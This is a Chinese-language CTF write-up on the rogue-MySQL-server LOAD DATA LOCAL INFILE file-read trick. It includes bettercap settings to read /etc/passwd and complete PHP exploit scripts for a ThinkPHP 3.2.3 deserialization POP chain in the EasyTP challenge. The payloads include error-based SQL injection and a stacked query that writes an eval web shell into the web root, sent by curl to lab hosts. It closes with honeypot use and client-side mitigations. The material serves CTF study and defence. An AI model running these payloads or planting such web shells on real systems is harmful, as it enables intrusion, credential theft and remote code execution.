应该是各位带师傅们早就会的点了,做题碰到了拿出来炒个冷饭QwQ;参考链接统一放到最后面啦
原理&复现
总体思路是这样的:伪造一个mysql的服务端(不需要有完整的数据库的功能 只需向客户端回复greeting package)当有客户端连接到时,可以被服务端访问一个客户端本地的文件(如果本地用户权限允许的话
帮助我们实现这一目标的sql语句是LOAD DATA INFILE
,它用于读取一个文件的内容放入表中,有两种形式
Load data infile "/data/data.csv" into table TestTable;
Load data local infile "/data/data.csv" into table TestTable;
# 有时与FIELDS TERMINATED BY '\n'一起使用
以上两种写法的差异在于是否有local
,也就是是否读取client本地的文件
在本地用wireshark抓个包康康这一sql语句具体是怎么执行的
(肥肠意义不明的截图(五个月过去了 能记得才有鬼
整个过程简化为以下三个阶段
- Client: Request Query: LOAD DATA LOCAL INFIEL ‘/etc/passwd’ INTO TABLE test FIELDS TERMINATED BY ‘\n’
- Server: Response TABULAR: /etc/passwd
- Client: Request[Malformed Packet]: content of /etc/passwd
如果在客户端发送查询后 返回一个Response TABULAR
包 并指定要读取的文件 就可以任意读取客户端文件了(前提仍然是have read access)
甚至不一定需要客户端首先发起 LOAD DATA LOCAL
的请求才能response,在官方文档第三段的最后的括号中提示,伪造的客户端可以在任何时候回复一个file-transfer
的请求(但利用这个特性前 客户端必须具有CLIENT_LOCAL_FILES
属性 (可以在连接mysql时添加 --enable-local-infile
或设置local_infile=ON
所以一旦有一台恶意的mysql服务器 发出完全相同的数据包去模拟初始的greeting握手过程,之后等待一个客户端的响应(幸运的是大多数MySQL客户端以及程序库都会在握手之后至少发送一次请求,以探测目标平台的指纹信息,比如(select @@version_comment limit 1
),再之后就可以伪造load data local infile
指令来获取文件了
我们构造一个具有以下属性的mysql伪服务端:
- 发送Server Greeting
- 等待client: Request Query package
- 回复请求Response file-transfer
需要发的包格式都在官方文档上可以找到:Protocol::LOCAL_INFILE_Request Protocol::Handshake
几个已经集成过的伪造server: bettercap Rogue-MySql-Server
可以用bettercap进行完美实践
需要设置的项非常简单
set mysql.server.address 0.0.0.0 # 如果想用nps之类的代理工具映射到公网端口请务必设置此项
set mysql.server.infile /etc/passwd # 想要读取的文件
set mysql.server.outfile /xxxx # 保存到本地的位置
set mysql.server.port 1099 # 随意端口都可以
mysql.server on
[红明谷CTF 2021]EasyTP
tp3.2.3,有一个现成的链子:ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
看Application\Home\Controller\IndexController.class.php的代码也跟这个文章中的示例代码大差不差,顺着这篇文章的思路跟一下
首先是全局寻找__destruct()
函数
www/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
寻找一个destroy()
www/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
这里需要一个$sessID
,PHP7下不传参会报错 PHP5不影响,$this->sessionName
可控;接着找含有delete()
的类
www/ThinkPHP/Mode/Lite/Model.class.php
相当于传入的参数都可用,可以控制自带的数据库类的delete()
方法了
www/ThinkPHP/Library/Think/Db/Driver.class.php
它是拼接了$sql语句,之后执行$this->execute()
它会预先进行$this->initConnect()
我们可以控制$config
,控制连接任意数据库
这里可以结合上面的mysql伪服务端任意文件读取了,比如以下的利用流程:
- 通过某处泄露得到目标的WEB目录(如DEBUG页面
- 开启MySQL伪服务端,读取目标的数据库配置文件
- 出发反序列化
- 触发PDO连接部分
- 获取到目标的数据库配置文件
用bettercap做mysql伪服务端读一下/etc/passwd
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "",
"hostname" => "your_vps",
"hostport" => "port",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,user(),31) from test.flag),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://6382172d-0bab-4e87-b434-7d711efad721.node3.buuoj.cn/",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 3,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}
看到了mysql用户,尝试弱口令得到root: root
之后就可以把我们的伪服务端撤了,换成真服务端的,进行一个注入
- 使用目标的数据库配置再次进行反序列化
- 触发
DELETE
语句的SQL注入
$this->data[$this->pk] = array(
// "table" => "mysql.user where 1=updatexml(1,concat(0x7e,(select left(group_concat(schema_name),31) from information_schema.SCHEMATA)),1)#",
// "table" => "mysql.user where 1=updatexml(1,concat(0x7e,(select right(group_concat(schema_name),31) from information_schema.SCHEMATA)),1)#",
// "table" => "mysql.user where 1=updatexml(1,concat(0x7e,(select left(group_concat(table_name),31) from information_schema.tables where table_schema='test'),0x7e),1)#",
// "table" => "mysql.user where 1=updatexml(1,concat(0x7e,(select left(group_concat(column_name),31) from information_schema.columns where table_schema='test'),0x7e),1)#",
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,(select right(group_concat(flag),31) from test.flag),0x7e),1)#",
"where" => "1=1"
);
我们还可以把堆叠打开,用堆叠注入写shell,也就是本题的exp(参考赵总的exp 赵总牛逼
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true , // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, // 打开堆叠注入
);
protected $config = array(
"debug" => 1,
"database" => "",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root", // 猜出弱口令
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array( // 堆叠注入写入shell
"table" => "mysql.user where 1=1;select '<?php eval(\$_POST[amiz]);?>' into outfile '/var/www/html/amiz.php';#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://914146f1-7d08-4a0a-9659-c143df1d68e1.node4.buuoj.cn:81/",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 3,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
CURLOPT_HTTPHEADER => array(
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}
其中curl的代码是用postman生成的 (postman打钱) 一套连招直接带走,用蚁剑连接之后发现根目录下没有flag,反而是一个flag.sh
我们还得连上数据库看看
但是蚁剑自带的添加失败,直接手动写一个冰蝎的🐎
直接查看也是没有,但是可以用它的导出数据库的功能得到数据
[DDCTF 2019]MySQL弱口令
没找到环境,看wp云一下
部署好agent.py之后用bettercap,读/root/.mysql_history拿flag一波带走
参考:wp
适用场景
一个中等好的蜜罐
之所以说中等好,是因为它受制于对应数据库的版本和配置情况,并不是所有mysql客户端都支持LOAD DATA LOCAL
的 更多情况下是只接受greeting包就断开了(尽职尽责 好评) ,所以并不够通用,可以参考以下两个栗子:
参考:MySQL蜜罐获取攻击者微信ID | 溯源反制之MySQL蜜罐研究
微步有已经做好的蜜罐可以开箱即用
修复
load file local本身是不影响mysql正常工作的语句,对于客户端来说可以自行关闭(文档-> https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
这是本身mysql的feature,无法通过mysql或协议的层级进行修复,只有客户端关闭这个配置才能避免影响
php
可以通过php.ini设置
mysqli.allow_local_infile=off
来关闭,php7.3.4及之后该项默认关闭代码中可以通过
mysqli_opt_local_infile
来选择禁用该语句(文档-> http://php.net/manual/zh/mysqli.options.php
java
jdbc中这个配置是allowLoadLocalInfile
(文档-> https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html
java中可以结合jdbc结合反序列化,加深利用
唔,是7月做题的时候碰到的点,今天做题又碰到了,于是拿出来鞭个尸,比之前的理解要深刻一些了
最近在看js原型污染的相关问题,结果考了个四级之后之前写的代码都不认得了😅小丑竟是我自己